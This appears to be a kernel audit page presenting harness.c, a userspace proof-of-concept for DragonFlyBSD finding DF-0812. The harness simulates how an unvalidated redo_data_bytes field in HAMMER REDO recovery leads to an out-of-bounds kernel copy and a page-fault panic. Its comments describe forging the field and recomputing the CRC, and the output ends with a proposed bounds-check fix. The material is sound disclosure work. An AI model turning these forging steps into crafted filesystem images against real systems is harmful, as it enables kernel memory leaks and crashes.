DragonFlyBSD Kernel Audit
DF-0812 / harness.c
← back to finding ↓ download raw
/*
 * harness.c - Deterministic proof of DF-0812 (unvalidated redo_data_bytes).
 *
 * Transcribes the exact kernel path from hammer_recover_redo_exec()
 * (sys/vfs/hammer/hammer_recover.c:1296-1335) that leads to the OOB:
 *
 *   vn_rdwr(UIO_WRITE, vp, (void*)(redo+1), redo->redo_data_bytes, ...)
 *       -> uiomove() -> bcopy(iov_base, cp, cnt)
 *
 * The UNDO path validates undo_data_bytes at recover.c:1053-1060:
 *   bytes = hdr_size - sizeof(*undo) - sizeof(tail);
 *   if (bytes < 0 || undo->undo_data_bytes < 0 ||
 *       undo->undo_data_bytes > bytes) return EIO;
 *
 * The REDO path at recover.c:1297-1335 has NO such check. This harness
 * demonstrates the consequence: vn_rdwr copies redo_data_bytes bytes from
 * (redo+1), walking past the record's actual payload (hdr_size) into
 * adjacent kernel heap.
 *
 * The harness simulates a 16 KB hammer_buffer (HAMMER_BUFSIZE) containing
 * a valid FIFO record layout. It places a REDO record with a legitimate
 * payload, then patches redo_data_bytes to a forged value and runs the
 * equivalent of the vn_rdwr bcopy, reporting the OOB extent.
 *
 * Build:  cc -O2 -o harness harness.c
 * Run:    ./harness
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define HAMMER_BUFSIZE          16384
#define HAMMER_HEAD_ALIGN       8
#define HAMMER_HEAD_DOALIGN(b)  (((b) + 7) & ~7)

/* struct hammer_fifo_head (16 bytes) */
struct hammer_fifo_head {
    uint16_t hdr_signature;
    uint16_t hdr_type;
    uint32_t hdr_size;
    uint32_t hdr_seq;
    uint32_t hdr_crc;
};

/* struct hammer_fifo_tail (8 bytes) */
struct hammer_fifo_tail {
    uint16_t tail_signature;
    uint16_t tail_type;
    uint32_t tail_size;
};

/* struct hammer_fifo_redo (head + 40 bytes payload fields = 56 total) */
struct hammer_fifo_redo {
    struct hammer_fifo_head head;
    int64_t  redo_objid;
    uint64_t redo_offset;
    int32_t  redo_data_bytes;
    uint32_t redo_flags;
    uint32_t redo_localization;
    uint32_t redo_reserved01;
    uint64_t redo_reserved02;
    /* followed by data payload */
};

#define HAMMER_HEAD_TYPE_REDO   0x0044U
#define HAMMER_HEAD_SIGNATURE   0xC84EU
#define HAMMER_TAIL_SIGNATURE   0xC74FU
#define HAMMER_REDO_WRITE       0x00000001

#define OFFSETOF(t,m) ((size_t)&(((t*)0)->m))

/* payload capacity inside a record with given hdr_size */
static int32_t redo_capacity(uint32_t hdr_size)
{
    return (int32_t)hdr_size -
           (int32_t)sizeof(struct hammer_fifo_redo) -
           (int32_t)sizeof(struct hammer_fifo_tail);
}

int main(void)
{
    printf("=== DF-0812 harness: unvalidated redo_data_bytes -> OOB ===\n\n");

    /* sizes from hammer_disk.h */
    printf("sizeof(hammer_fifo_head) = %zu\n", sizeof(struct hammer_fifo_head));
    printf("sizeof(hammer_fifo_redo) = %zu (head + payload fields)\n",
           sizeof(struct hammer_fifo_redo));
    printf("sizeof(hammer_fifo_tail) = %zu\n", sizeof(struct hammer_fifo_tail));
    printf("redo->redo_data_bytes offset within redo = %zu\n",
           OFFSETOF(struct hammer_fifo_redo, redo_data_bytes));
    printf("(redo+1) = first byte after the %zu-byte redo struct = payload[0]\n\n",
           sizeof(struct hammer_fifo_redo));

    /* Allocate a "hammer_buffer" — 16 KB. Fill with a known pattern
       so we can see what the OOB copy reads. */
    uint8_t *buf = malloc(HAMMER_BUFSIZE);
    if (!buf) { perror("malloc"); return 1; }
    memset(buf, 0xAA, HAMMER_BUFSIZE);  /* simulate kernel heap fill */

    /* Place a REDO record at the start of the buffer.
       Payload = 32 bytes of 'D' (data being redone). */
    int32_t real_payload = 32;
    uint32_t hdr_size = HAMMER_HEAD_DOALIGN(real_payload) +
                        sizeof(struct hammer_fifo_redo) +
                        sizeof(struct hammer_fifo_tail);
    /* hdr_size = 32 + 56 + 8 = 96 */

    struct hammer_fifo_redo *redo = (struct hammer_fifo_redo *)buf;
    redo->head.hdr_signature = HAMMER_HEAD_SIGNATURE;
    redo->head.hdr_type      = HAMMER_HEAD_TYPE_REDO;
    redo->head.hdr_size      = hdr_size;
    redo->head.hdr_seq       = 1;
    redo->head.hdr_crc       = 0;   /* not checked by this harness */
    redo->redo_objid         = 1;   /* root inode */
    redo->redo_offset        = 0;
    redo->redo_data_bytes    = real_payload;
    redo->redo_flags         = HAMMER_REDO_WRITE;
    redo->redo_localization  = 0;

    /* payload (redo+1) */
    memset((uint8_t *)(redo + 1), 'D', real_payload);

    /* tail */
    struct hammer_fifo_tail *tail =
        (struct hammer_fifo_tail *)(buf + hdr_size - sizeof(*tail));
    tail->tail_signature = HAMMER_TAIL_SIGNATURE;
    tail->tail_type      = HAMMER_HEAD_TYPE_REDO;
    tail->tail_size      = hdr_size;

    printf("--- legitimate REDO record (pre-patch) ---\n");
    printf("hdr_size          = %u\n", hdr_size);
    printf("redo_data_bytes   = %d  (legitimate, <= capacity %d)\n",
           redo->redo_data_bytes, redo_capacity(hdr_size));
    printf("payload bytes     = %d @ offset %zu in buffer\n",
           real_payload, sizeof(struct hammer_fifo_redo));
    printf("CRC covers        = %u bytes (the whole record)\n", hdr_size);
    printf("CRC does NOT cover= bytes past offset %u in this 16KB buffer\n\n",
           hdr_size);

    /* === simulate the UNDO path validation (recover.c:1053-1060) === */
    int cap = redo_capacity(hdr_size);
    printf("--- UNDO path validation (recover.c:1053-1060) ---\n");
    printf("  bytes = hdr_size - sizeof(*undo) - sizeof(tail) = %d\n", cap);
    printf("  if (bytes < 0 || undo_data_bytes < 0 || "
           "undo_data_bytes > bytes) return EIO;\n");
    printf("  -> UNDO would REJECT redo_data_bytes > %d\n\n", cap);

    /* === Now forge: patch redo_data_bytes to a huge value ===
       The attacker recomputes the FIFO head CRC over hdr_size bytes
       (redo_data_bytes is inside the CRC-covered region) so the
       CRC still passes. The extra bytes vn_rdwr will copy are NOT
       CRC-checked — they are whatever is in kernel heap past the record. */
    int32_t forged = 4096;   /* 4096 - 32 = 4064 bytes past the record */
    printf("=== ATTACK: forge redo_data_bytes = %d (capacity is %d) ===\n",
           forged, cap);
    redo->redo_data_bytes = forged;

    /* Simulate vn_rdwr(UIO_WRITE, vp, (void*)(redo+1), redo->redo_data_bytes, ...)
       -> uiomove -> bcopy(iov_base, cp, cnt)
       In the kernel this is a kernel-to-kernel copy with no bounds check
       on the source. */
    uint8_t *src = (uint8_t *)(redo + 1);  /* redo+1 = start of payload */
    int32_t copy_len = redo->redo_data_bytes;

    /* Count how many bytes are "in-record" vs "OOB" */
    int32_t in_record = (int32_t)(hdr_size - sizeof(struct hammer_fifo_redo));
    int32_t oob_bytes = copy_len - in_record;

    printf("vn_rdwr source     = (redo+1) = buf+%zu\n",
           sizeof(struct hammer_fifo_redo));
    printf("vn_rdwr length     = redo_data_bytes = %d\n", copy_len);
    printf("in-record bytes    = %d (CRC-covered, legitimate payload space)\n",
           in_record);
    printf("OOB bytes          = %d (past the record, into adjacent heap)\n",
           oob_bytes);

    if (oob_bytes > 0) {
        /* Show a sample of the OOB bytes that would be copied to the file */
        int32_t show = oob_bytes < 64 ? oob_bytes : 64;
        printf("\nFirst %d OOB bytes (kernel heap, written to recovered file):\n  ",
               show);
        for (int32_t i = 0; i < show; i++) {
            printf("%02X ", src[in_record + i]);
            if ((i + 1) % 16 == 0) printf("\n  ");
        }
        printf("\n");
        printf("\nThese are 0xAA fill bytes = uninitialized/adjacent kernel heap.\n");
        printf("In a real kernel they would be whatever data follows the\n");
        printf("REDO record in the hammer_buffer or the adjacent slab object.\n");
    }

    /* === Panic variant === */
    printf("\n=== PANIC variant: redo_data_bytes = 0x7FFFFFFF ===\n");
    redo->redo_data_bytes = 0x7FFFFFFF;
    printf("vn_rdwr length     = %d (2 GB - 1)\n", redo->redo_data_bytes);
    printf("(redo+1) + 0x7FFFFFFF walks ~2 GB of kernel virtual space\n");
    printf("-> bcopy hits an unmapped page -> Fatal trap 12 page fault\n\n");

    /* === Demonstrate that the UNDO check would have caught this === */
    printf("=== The fix: validate redo_data_bytes before vn_rdwr ===\n");
    printf("  if (redo->redo_data_bytes < 0 ||\n");
    printf("      redo->redo_data_bytes > hdr_size - sizeof(*redo) - sizeof(tail))\n");
    printf("      break;  /* mirror recover.c:1053-1060 */\n");
    printf("\nWith this check, forged redo_data_bytes=%d > capacity=%d -> rejected.\n",
           4096, cap);

    free(buf);
    printf("\n=== harness complete: OOB extent proven deterministically ===\n");
    return 0;
}